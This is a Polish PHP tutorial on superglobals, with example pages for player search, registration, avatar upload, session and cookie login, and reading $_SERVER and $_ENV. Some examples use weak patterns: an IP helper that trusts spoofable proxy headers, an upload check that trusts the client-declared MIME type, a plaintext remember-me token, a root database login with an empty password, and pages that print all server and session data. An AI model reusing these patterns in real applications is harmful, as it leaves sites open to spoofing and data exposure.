    $min_level = (int)($_GET['min_level'] ?? 0);
    $rank = $_GET['rank'] ?? '';
    
    if (!empty($search_query)) {
        
        // Budujemy zapytanie dynamicznie
        $sql = "SELECT * FROM players WHERE (username LIKE ? OR email LIKE ?)";
        $params = ["%{$search_query}%", "%{$search_query}%"];
        $types = "ss";
        
        if ($min_level > 0) {
            $sql .= " AND level >= ?";
            $types .= "i";
            $params[] = $min_level;
        }
        
        if (!empty($rank)) {
            $sql .= " AND rank_name = ?";
            $types .= "s";
            $params[] = $rank;
        }
        
        $sql .= " ORDER BY level DESC LIMIT 20";
        
        $stmt = $db->prepare($sql);
        $stmt->bind_param($types, ...$params);
        $stmt->execute();
        $wynik = $stmt->get_result();
        
        $safe_query = htmlspecialchars($search_query);
        echo "<h2>Wyniki wyszukiwania dla: \"{$safe_query}\"</h2>";
        
        if ($wynik->num_rows > 0) {
            echo "<p>Znaleziono: {$wynik->num_rows} graczy</p>";
            
            while ($gracz = $wynik->fetch_assoc()) {
                $username = htmlspecialchars($gracz['username']);
                echo "<div style='background:#f4f4f4; padding:10px; margin:5px 0;'>";
                echo "<strong>{$username}</strong> - Level: {$gracz['level']}, Rank: {$gracz['rank_name']}<br>";
                echo "<a href='profil.php?id={$gracz['id']}'>Zobacz profil</a>";
                echo "</div>";
            }
        } else {
            echo "<p>Nie znaleziono graczy</p>";
        }
        
        $stmt->close();
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Wyszukiwarka graczy</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .search-form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 30px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
    </style>
</head>
<body>

<h1>Wyszukiwarka graczy</h1>

<form method="GET" class="search-form">
    <input type="text" 
           name="q" 
           placeholder="Wpisz nick lub email" 
           value="<?= htmlspecialchars($_GET['q'] ?? '') ?>"
           required>
    
    <input type="number" 
           name="min_level" 
           placeholder="Min. poziom"
           min="1"
           value="<?= htmlspecialchars($_GET['min_level'] ?? '') ?>">
    
    <select name="rank">
        <option value="">Wszystkie rangi</option>
        <option value="Bronze" <?= ($_GET['rank'] ?? '') == 'Bronze' ? 'selected' : '' ?>>Bronze</option>
        <option value="Silver" <?= ($_GET['rank'] ?? '') == 'Silver' ? 'selected' : '' ?>>Silver</option>
        <option value="Gold" <?= ($_GET['rank'] ?? '') == 'Gold' ? 'selected' : '' ?>>Gold</option>
        <option value="Diamond" <?= ($_GET['rank'] ?? '') == 'Diamond' ? 'selected' : '' ?>>Diamond</option>
    </select>
    
    <button type="submit">Szukaj</button>
</form>

<p><small>Przykłady wyszukiwań:</small></p>
<ul>
    <li><a href="?q=Pro">?q=Pro</a></li>
    <li><a href="?q=Gamer&min_level=20">?q=Gamer&min_level=20</a></li>
    <li><a href="?q=Test&rank=Gold">?q=Test&rank=Gold</a></li>
</ul>

</body>
</html>

Kiedy używać $_GET?

• Wyszukiwanie i filtrowanie
• Paginacja (?page=2)
• Sortowanie (?sort=date&order=desc)
• Linki do konkretnych zasobów (?id=123)
• Parametry, które użytkownik może udostępnić (share)

Nie stosujemy do:

• Haseł i danych wrażliwych (widoczne w URL!)
• Modyfikacji danych w bazie (INSERT, UPDATE, DELETE)
• Dużych ilości danych (limit ~2000 znaków)

2. $_POST – Dane z formularzy POST

Dane są wysyłane w ciele żądania HTTP (nie w URL), więc są niewidoczne dla użytkownika.

Odczytywanie danych z $_POST

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdzamy czy pole istnieje
    if (isset($_POST['username'])) {
        $username = trim($_POST['username']);
        echo "Username: {$username}<br>";
    }
    
    // Operator null coalescing
    $email = trim($_POST['email'] ?? '');
    $age = (int)($_POST['age'] ?? 0);
    
    echo "Email: {$email}<br>";
    echo "Wiek: {$age}<br>";
    
    // Wyświetl wszystkie dane POST
    echo "<pre>";
    print_r($_POST);
    echo "</pre>";
}
?>

Formularz rejestracji z walidacją

<?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Pobieramy wszystkie dane z formularza
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $password = $_POST['password'] ?? '';
    $password_confirm = $_POST['password_confirm'] ?? '';
    $age = (int)($_POST['age'] ?? 0);
    $terms = isset($_POST['terms']) ? 1 : 0; // Checkbox
    
    // Walidacja
    if (empty($username)) {
        $errors[] = "Username jest wymagany";
    } elseif (strlen($username) < 3) {
        $errors[] = "Username musi mieć min. 3 znaki";
    }
    
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors[] = "Hasło jest wymagane";
    } elseif (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć min. 8 znaków";
    }
    
    if ($password !== $password_confirm) {
        $errors[] = "Hasła nie są identyczne";
    }
    
    if ($age < 13) {
        $errors[] = "Musisz mieć co najmniej 13 lat";
    }
    
    if (!$terms) {
        $errors[] = "Musisz zaakceptować regulamin";
    }
    
    // Jeśli brak błędów - zapisujemy
    if (empty($errors)) {
        
        // Sprawdzamy czy username już istnieje
        $stmt = $db->prepare("SELECT id FROM users WHERE username = ?");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Username '{$username}' jest już zajęty";
        }
        $stmt->close();
        
        if (empty($errors)) {
            $password_hash = password_hash($password, PASSWORD_DEFAULT);
            
            $stmt = $db->prepare("INSERT INTO users (username, email, password, age, created_at) VALUES (?, ?, ?, ?, NOW())");
            $stmt->bind_param("sssi", $username, $email, $password_hash, $age);
            
            if ($stmt->execute()) {
                $new_user_id = $stmt->insert_id;
                
                $stmt->close();
                $db->close();
                
                $_SESSION['registration_success'] = "Konto utworzone pomyślnie!";
                
                header("Location: logowanie.php");
                exit;
            } else {
                $errors[] = "Błąd podczas rejestracji";
            }
            
            $stmt->close();
        }
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 500px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input[type="text"],
        input[type="email"],
        input[type="password"],
        input[type="number"] {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        .checkbox-group {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-group input[type="checkbox"] {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-group label {
            margin: 0;
            cursor: pointer;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Rejestracja</h1>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <div class="form-group">
            <label>Username:</label>
            <input type="text" 
                   name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"
                   required>
        </div>
        
        <div class="form-group">
            <label>Email:</label>
            <input type="email" 
                   name="email"
                   value="<?= htmlspecialchars($_POST['email'] ?? '') ?>"
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" 
                   name="password"
                   required>
        </div>
        
        <div class="form-group">
            <label>Powtórz hasło:</label>
            <input type="password" 
                   name="password_confirm"
                   required>
        </div>
        
        <div class="form-group">
            <label>Wiek:</label>
            <input type="number" 
                   name="age"
                   min="13"
                   max="120"
                   value="<?= htmlspecialchars($_POST['age'] ?? '') ?>"
                   required>
        </div>
        
        <div class="form-group">
            <div class="checkbox-group">
                <input type="checkbox" 
                       name="terms" 
                       id="terms"
                       <?= isset($_POST['terms']) ? 'checked' : '' ?>
                       required>
                <label for="terms">Akceptuję regulamin</label>
            </div>
        </div>
        
        <button type="submit">Zarejestruj się</button>
    </form>
</div>

</body>
</html>

Kiedy używać $_POST?

• Logowanie i rejestracja
• Formularze kontaktowe
• Modyfikacja danych (INSERT, UPDATE, DELETE)
• Przesyłanie dużych ilości danych
• Dane wrażliwe (hasła, dane osobowe)

Złe zastosowania:

• Wyszukiwanie (lepiej GET – możliwość udostępnienia linku)
• Linki do konkretnych stron (GET jest lepsze)

$_REQUEST – Połączenie GET, POST i COOKIE

$_REQUEST zawiera dane z $_GET, $_POST i $_COOKIE.

<?php
// Przykład: odbiera dane zarówno z GET jak i POST
$search = $_REQUEST['search'] ?? '';

echo "Wartość search: {$search}";
?>

UWAGA: $_REQUEST jest niezalecany ze względów bezpieczeństwa. Lepiej użyć konkretnej tablicy ($_GET lub $_POST).

4. $_FILES – Przesyłanie plików

Struktura $_FILES

Gdy użytkownik wysyła plik, PHP automatycznie wypełnia tablicę $_FILES:

$_FILES['nazwa_pola'] = [
    'name' => 'oryginalnanazwa.jpg',      // Nazwa pliku
    'type' => 'image/jpeg',               // Typ MIME
    'tmp_name' => '/tmp/phpXXXXXX',       // Tymczasowa lokalizacja
    'error' => 0,                         // Kod błędu (0 = OK)
    'size' => 245678                      // Rozmiar w bajtach
];

Przykład 3: Upload zdjęcia profilowego

<?php
session_start();

$errors = [];
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['avatar'])) {
    
    $file = $_FILES['avatar'];
    
    // Sprawdzamy czy nie ma błędu uploadu
    if ($file['error'] !== UPLOAD_ERR_OK) {
        $errors[] = "Błąd podczas uploadu pliku (kod: {$file['error']})";
    } else {
        
        // Walidacja rozmiaru (max 2MB)
        $max_size = 2 * 1024 * 1024; // 2MB w bajtach
        if ($file['size'] > $max_size) {
            $errors[] = "Plik jest za duży (max 2MB)";
        }
        
        // Walidacja typu pliku
        $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
        if (!in_array($file['type'], $allowed_types)) {
            $errors[] = "Nieprawidłowy typ pliku (dozwolone: JPG, PNG, GIF)";
        }
        
        // Dodatkowa walidacja przez rozszerzenie
        $file_extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
        if (!in_array($file_extension, $allowed_extensions)) {
            $errors[] = "Nieprawidłowe rozszerzenie pliku";
        }
        
        // Jeśli brak błędów - zapisujemy plik
        if (empty($errors)) {
            
            // Generujemy unikalną nazwę pliku
            $new_filename = uniqid('avatar_', true) . '.' . $file_extension;
            $upload_dir = 'uploads/avatars/';
            
            // Tworzymy katalog jeśli nie istnieje
            if (!is_dir($upload_dir)) {
                mkdir($upload_dir, 0755, true);
            }
            
            $destination = $upload_dir . $new_filename;
            
            // Przenosimy plik z lokalizacji tymczasowej
            if (move_uploaded_file($file['tmp_name'], $destination)) {
                $success = true;
                $uploaded_file_path = $destination;
                
                // Możesz zapisać ścieżkę do bazy danych
                // UPDATE users SET avatar = ? WHERE id = ?
                
            } else {
                $errors[] = "Nie udało się zapisać pliku";
            }
        }
    }
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Upload avatara</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .upload-form {
            background: #f4f4f4;
            padding: 30px;
            border-radius: 10px;
        }
        input[type="file"] {
            margin: 20px 0;
            padding: 10px;
            border: 2px dashed #ddd;
            border-radius: 5px;
            width: 100%;
            cursor: pointer;
        }
        button {
            padding: 12px 30px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .preview {
            margin-top: 20px;
            text-align: center;
        }
        .preview img {
            max-width: 300px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
    </style>
</head>
<body>

<h1>Upload zdjęcia profilowego</h1>

<?php if (!empty($errors)): ?>
    <div class="error">
        <strong>Błędy:</strong>
        <ul>
            <?php foreach ($errors as $error): ?>
                <li><?= htmlspecialchars($error) ?></li>
            <?php endforeach; ?>
        </ul>
    </div>
<?php endif; ?>

<?php if ($success): ?>
    <div class="success">
        Plik został przesłany pomyślnie!
        <div class="preview">
            <img src="<?= htmlspecialchars($uploaded_file_path) ?>" alt="Avatar">
        </div>
    </div>
<?php endif; ?>

<form method="POST" enctype="multipart/form-data" class="upload-form">
    <p>Wybierz zdjęcie (max 2MB, JPG/PNG/GIF):</p>
    <input type="file" name="avatar" accept="image/*" required>
    
    <button type="submit">Prześlij plik</button>
</form>

<p><small>Informacje o pliku:</small></p>
<?php if (isset($_FILES['avatar'])): ?>
    <pre><?php print_r($_FILES['avatar']); ?></pre>
<?php endif; ?>

</body>
</html>

WAŻNE: Formularz uploadu MUSI mieć enctype="multipart/form-data"!

Kody błędów $_FILES

5. $_SESSION – Przechowywanie danych użytkownika

Sesje pozwalają przechowywać dane między różnymi stronami dla konkretnego użytkownika. Informacje dodatkowe w temacie PHP – obsługa cookies i sesje

<?php
// ZAWSZE na początku pliku!
session_start();

// Zapisywanie danych w sesji
$_SESSION['user_id'] = 123;
$_SESSION['username'] = 'ProGamer';
$_SESSION['logged_in'] = true;

// Odczytywanie danych z sesji
$user_id = $_SESSION['user_id'] ?? 0;
$username = $_SESSION['username'] ?? 'Gość';

// Sprawdzanie czy klucz istnieje
if (isset($_SESSION['logged_in'])) {
    echo "Jesteś zalogowany jako: {$username}";
} else {
    echo "Nie jesteś zalogowany";
}

// Usuwanie konkretnego klucza
unset($_SESSION['username']);

// Niszczenie całej sesji
session_destroy();
?>

System logowania z sesją

Plik: logowanie.php

<?php
session_start();

// Jeśli użytkownik już zalogowany - przekieruj
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    header("Location: panel.php");
    exit;
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    if (empty($username)) {
        $errors[] = "Username jest wymagany";
    }
    
    if (empty($password)) {
        $errors[] = "Hasło jest wymagane";
    }
    
    if (empty($errors)) {
        
        $stmt = $db->prepare("SELECT id, username, email, password FROM users WHERE username = ?");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $wynik = $stmt->get_result();
        $user = $wynik->fetch_assoc();
        $stmt->close();
        
        if ($user && password_verify($password, $user['password'])) {
            
            // Zapisz dane w sesji
            $_SESSION['user_id'] = $user['id'];
            $_SESSION['username'] = $user['username'];
            $_SESSION['email'] = $user['email'];
            $_SESSION['logged_in'] = true;
            $_SESSION['login_time'] = time();
            
            $db->close();
            
            header("Location: panel.php");
            exit;
            
        } else {
            $errors[] = "Nieprawidłowy username lub hasło";
        }
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie</title>
</head>
<body>

<h1>Logowanie</h1>

<?php if (!empty($errors)): ?>
    <div style="background:#f8d7da; padding:15px; color:#721c24;">
        <ul>
            <?php foreach ($errors as $error): ?>
                <li><?= htmlspecialchars($error) ?></li>
            <?php endforeach; ?>
        </ul>
    </div>
<?php endif; ?>

<form method="POST">
    <label>Username:</label><br>
    <input type="text" name="username" value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" required><br><br>
    
    <label>Hasło:</label><br>
    <input type="password" name="password" required><br><br>
    
    <button type="submit">Zaloguj</button>
</form>

</body>
</html>

Plik: panel.php

<?php
session_start();

// Sprawdź czy użytkownik zalogowany
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header("Location: logowanie.php");
    exit;
}

$username = htmlspecialchars($_SESSION['username']);
$user_id = $_SESSION['user_id'];
$login_time = $_SESSION['login_time'];

$time_elapsed = time() - $login_time;
$minutes = floor($time_elapsed / 60);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Panel użytkownika</title>
</head>
<body>

<h1>Witaj, <?= $username ?>!</h1>

<p>Twoje ID: <?= $user_id ?></p>
<p>Zalogowany od: <?= $minutes ?> minut</p>

<p><a href="wyloguj.php">Wyloguj się</a></p>

<h2>Dane sesji:</h2>
<pre><?php print_r($_SESSION); ?></pre>

</body>
</html>

Plik: wyloguj.php

<?php
session_start();

// Usuń wszystkie dane sesji
$_SESSION = [];

// Usuń cookie sesyjne
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// Zniszcz sesję
session_destroy();

// Przekieruj do logowania
header("Location: logowanie.php");
exit;
?>

6. $_COOKIE – Przechowywanie danych w przeglądarce

Cookies to małe pliki tekstowe przechowywane w przeglądarce użytkownika. Więcej w temacie PHP – obsługa cookies i sesje

Ustawianie cookies

<?php
// setcookie(nazwa, wartość, wygasa, ścieżka, domena, secure, httponly)

// Prosty cookie na 30 dni
setcookie('username', 'ProGamer', time() + (30 * 24 * 60 * 60));

// Bezpieczny cookie
setcookie('session_token', 'abc123xyz', [
    'expires' => time() + 3600,     // 1 godzina
    'path' => '/',                   // Dostępny w całej domenie
    'domain' => '',                  // Aktualna domena
    'secure' => true,                // Tylko HTTPS
    'httponly' => true,              // Niedostępny dla JavaScript
    'samesite' => 'Strict'           // Ochrona CSRF
]);
?>

UWAGA: setcookie() MUSI być wywołane PRZED jakimkolwiek output (echo, HTML)!

Odczytywanie cookies

<?php
// Sprawdzamy czy cookie istnieje
if (isset($_COOKIE['username'])) {
    $username = htmlspecialchars($_COOKIE['username']);
    echo "Witaj ponownie, {$username}!";
} else {
    echo "Witaj po raz pierwszy!";
}

// Operator null coalescing
$theme = $_COOKIE['theme'] ?? 'light';
echo "Aktywny motyw: {$theme}";
?>

Usuwanie cookies

<?php
// Ustaw datę wygaśnięcia w przeszłości
setcookie('username', '', time() - 3600);

// Lub
setcookie('username', '', 1);
?>

„Zapamiętaj mnie” przy logowaniu

<?php
session_start();

// Sprawdź czy istnieje cookie "remember_me"
if (!isset($_SESSION['logged_in']) && isset($_COOKIE['remember_token'])) {
    
    mysqli_report(MYSQLI_REPORT_OFF);
    $db = @new mysqli('localhost', 'root', '', 'gaming_hub');
    $db->set_charset('utf8mb4');
    
    $token = $_COOKIE['remember_token'];
    
    // Sprawdź token w bazie (w prawdziwej aplikacji przechowuj hash tokenu!)
    $stmt = $db->prepare("SELECT id, username, email FROM users WHERE remember_token = ?");
    $stmt->bind_param("s", $token);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    $db->close();
    
    if ($user) {
        // Automatyczne logowanie
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['email'] = $user['email'];
        $_SESSION['logged_in'] = true;
    }
}

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    mysqli_report(MYSQLI_REPORT_OFF);
    $db = @new mysqli('localhost', 'root', '', 'gaming_hub');
    $db->set_charset('utf8mb4');
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    $remember = isset($_POST['remember']) ? true : false;
    
    // Walidacja i sprawdzanie użytkownika...
    
    $stmt = $db->prepare("SELECT id, username, email, password FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    
    if ($user && password_verify($password, $user['password'])) {
        
        // Zapisz w sesji
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['logged_in'] = true;
        
        // Jeśli zaznaczono "Zapamiętaj mnie"
        if ($remember) {
            $token = bin2hex(random_bytes(32)); // Generuj bezpieczny token
            
            // Zapisz token w bazie
            $stmt_token = $db->prepare("UPDATE users SET remember_token = ? WHERE id = ?");
            $stmt_token->bind_param("si", $token, $user['id']);
            $stmt_token->execute();
            $stmt_token->close();
            
            // Ustaw cookie na 30 dni
            setcookie('remember_token', $token, [
                'expires' => time() + (30 * 24 * 60 * 60),
                'path' => '/',
                'secure' => true,
                'httponly' => true,
                'samesite' => 'Strict'
            ]);
        }
        
        $db->close();
        
        header("Location: panel.php");
        exit;
    } else {
        $errors[] = "Nieprawidłowy username lub hasło";
    }
    
    $db->close();
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie</title>
</head>
<body>

<h1>Logowanie</h1>

<form method="POST">
    <label>Username:</label><br>
    <input type="text" name="username" required><br><br>
    
    <label>Hasło:</label><br>
    <input type="password" name="password" required><br><br>
    
    <label>
        <input type="checkbox" name="remember">
        Zapamiętaj mnie (30 dni)
    </label><br><br>
    
    <button type="submit">Zaloguj</button>
</form>

</body>
</html>

7. $_SERVER – Informacje o serwerze i żądaniu

$_SERVER zawiera informacje o środowisku serwera, nagłówkach HTTP i żądaniu.

<?php
// Metoda HTTP
echo $_SERVER['REQUEST_METHOD']; // GET, POST, PUT, DELETE

// URL i ścieżki
echo $_SERVER['REQUEST_URI'];         // /profil.php?id=5
echo $_SERVER['PHP_SELF'];            // /profil.php
echo $_SERVER['SCRIPT_NAME'];         // /profil.php
echo $_SERVER['QUERY_STRING'];        // id=5&sort=level

// Informacje o kliencie
echo $_SERVER['REMOTE_ADDR'];         // Adres IP użytkownika (np. 192.168.1.1)
echo $_SERVER['HTTP_USER_AGENT'];     // Przeglądarka (np. Mozilla/5.0...)
echo $_SERVER['HTTP_REFERER'];        // Poprzednia strona (skąd przyszedł)

// Informacje o serwerze
echo $_SERVER['SERVER_NAME'];         // localhost
echo $_SERVER['SERVER_ADDR'];         // 127.0.0.1
echo $_SERVER['SERVER_PORT'];         // 80 lub 443
echo $_SERVER['DOCUMENT_ROOT'];       // C:/xampp/htdocs

// HTTPS
echo $_SERVER['HTTPS'] ?? 'off';      // on jeśli HTTPS

// Nagłówki HTTP
echo $_SERVER['HTTP_ACCEPT'];         // Akceptowane typy treści
echo $_SERVER['HTTP_ACCEPT_LANGUAGE']; // Preferowany język
?>

Wyświetlanie informacji o żądaniu

<?php
function getClientIP() {
    $ip = $_SERVER['REMOTE_ADDR'];
    
    // Sprawdź czy użyto proxy
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    
    return $ip;
}

function getBrowser() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    
    if (strpos($user_agent, 'Firefox') !== false) {
        return 'Mozilla Firefox';
    } elseif (strpos($user_agent, 'Chrome') !== false) {
        return 'Google Chrome';
    } elseif (strpos($user_agent, 'Safari') !== false) {
        return 'Safari';
    } elseif (strpos($user_agent, 'Edge') !== false) {
        return 'Microsoft Edge';
    } else {
        return 'Nieznana przeglądarka';
    }
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Informacje o żądaniu</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 12px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background: #667eea;
            color: white;
        }
        tr:hover {
            background: #f5f5f5;
        }
    </style>
</head>
<body>

<h1>Informacje o Twoim żądaniu</h1>

<table>
    <tr>
        <th>Parametr</th>
        <th>Wartość</th>
    </tr>
    <tr>
        <td><strong>Twój adres IP:</strong></td>
        <td><?= htmlspecialchars(getClientIP()) ?></td>
    </tr>
    <tr>
        <td><strong>Przeglądarka:</strong></td>
        <td><?= htmlspecialchars(getBrowser()) ?></td>
    </tr>
    <tr>
        <td><strong>User Agent:</strong></td>
        <td><?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']) ?></td>
    </tr>
    <tr>
        <td><strong>Metoda HTTP:</strong></td>
        <td><?= htmlspecialchars($_SERVER['REQUEST_METHOD']) ?></td>
    </tr>
    <tr>
        <td><strong>Request URI:</strong></td>
        <td><?= htmlspecialchars($_SERVER['REQUEST_URI']) ?></td>
    </tr>
    <tr>
        <td><strong>Query String:</strong></td>
        <td><?= htmlspecialchars($_SERVER['QUERY_STRING'] ?? 'brak') ?></td>
    </tr>
    <tr>
        <td><strong>Protokół:</strong></td>
        <td><?= htmlspecialchars($_SERVER['SERVER_PROTOCOL']) ?></td>
    </tr>
    <tr>
        <td><strong>HTTPS:</strong></td>
        <td><?= isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'TAK' : 'NIE' ?></td>
    </tr>
    <tr>
        <td><strong>Serwer:</strong></td>
        <td><?= htmlspecialchars($_SERVER['SERVER_NAME']) ?></td>
    </tr>
    <tr>
        <td><strong>Port:</strong></td>
        <td><?= htmlspecialchars($_SERVER['SERVER_PORT']) ?></td>
    </tr>
    <tr>
        <td><strong>Document Root:</strong></td>
        <td><?= htmlspecialchars($_SERVER['DOCUMENT_ROOT']) ?></td>
    </tr>
    <tr>
        <td><strong>Skrypt PHP:</strong></td>
        <td><?= htmlspecialchars($_SERVER['SCRIPT_NAME']) ?></td>
    </tr>
    <tr>
        <td><strong>Referer (poprzednia strona):</strong></td>
        <td><?= htmlspecialchars($_SERVER['HTTP_REFERER'] ?? 'brak') ?></td>
    </tr>
    <tr>
        <td><strong>Akceptowany język:</strong></td>
        <td><?= htmlspecialchars($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'brak') ?></td>
    </tr>
</table>

<h2>Wszystkie dane $_SERVER:</h2>
<pre><?php print_r($_SERVER); ?></pre>

</body>
</html>

$_ENV – Zmienne środowiskowe

$_ENV zawiera zmienne środowiskowe systemu operacyjnego. W PHP zwykle używane z plikami .env (przez biblioteki jak vlucas/phpdotenv).

<?php
// Odczytywanie zmiennej środowiskowej
$db_host = $_ENV['DB_HOST'] ?? 'localhost';
$db_user = $_ENV['DB_USER'] ?? 'root';
$db_pass = $_ENV['DB_PASSWORD'] ?? '';

// Lub za pomocą getenv()
$db_name = getenv('DB_NAME');

echo "Host: {$db_host}<br>";
echo "User: {$db_user}<br>";
?>

Przykład pliku .env:

DB_HOST=localhost
DB_USER=root
DB_PASSWORD=secret123
DB_NAME=gaming_hub
APP_ENV=development

9. $GLOBALS – Dostęp do zmiennych globalnych

$GLOBALS to tablica zawierająca wszystkie zmienne globalne.

<?php
$username = "ProGamer";
$level = 50;

function displayInfo() {
    // Dostęp do zmiennych globalnych przez $GLOBALS
    echo "Username: {$GLOBALS['username']}<br>";
    echo "Level: {$GLOBALS['level']}<br>";
}

displayInfo();

// Wyświetl wszystkie zmienne globalne
echo "<pre>";
print_r($GLOBALS);
echo "</pre>";
?>

UWAGA: Używanie $GLOBALS jest niezalecane – lepiej przekazywać zmienne jako parametry funkcji.

TaskQuest 2.1 — avatar gracza

taskquest/
├── index.php                        (zmiana: avatar przy powitaniu, link do profilu)
├── profil.php                       NOWY
├── dodaj-zadanie.php                bez zmian
├── oznacz-wykonane.php              bez zmian
├── usun-zadanie.php                 bez zmian
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: 21 ścieżek, sekcja „Avatary”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: avatar)
├── config/
│   └── config.php                   (zmiana: stałe avatara)
├── includes/
│   ├── header.php                   (zmiana: style .avatar)
│   ├── footer.php                   (zmiana: „TaskQuest 2.1”)
│   ├── funkcje_avatara.php          NOWY
│   ├── funkcje_bazy.php             (zmiana: wczytajUzytkownika(), zapiszAvatarUzytkownika())
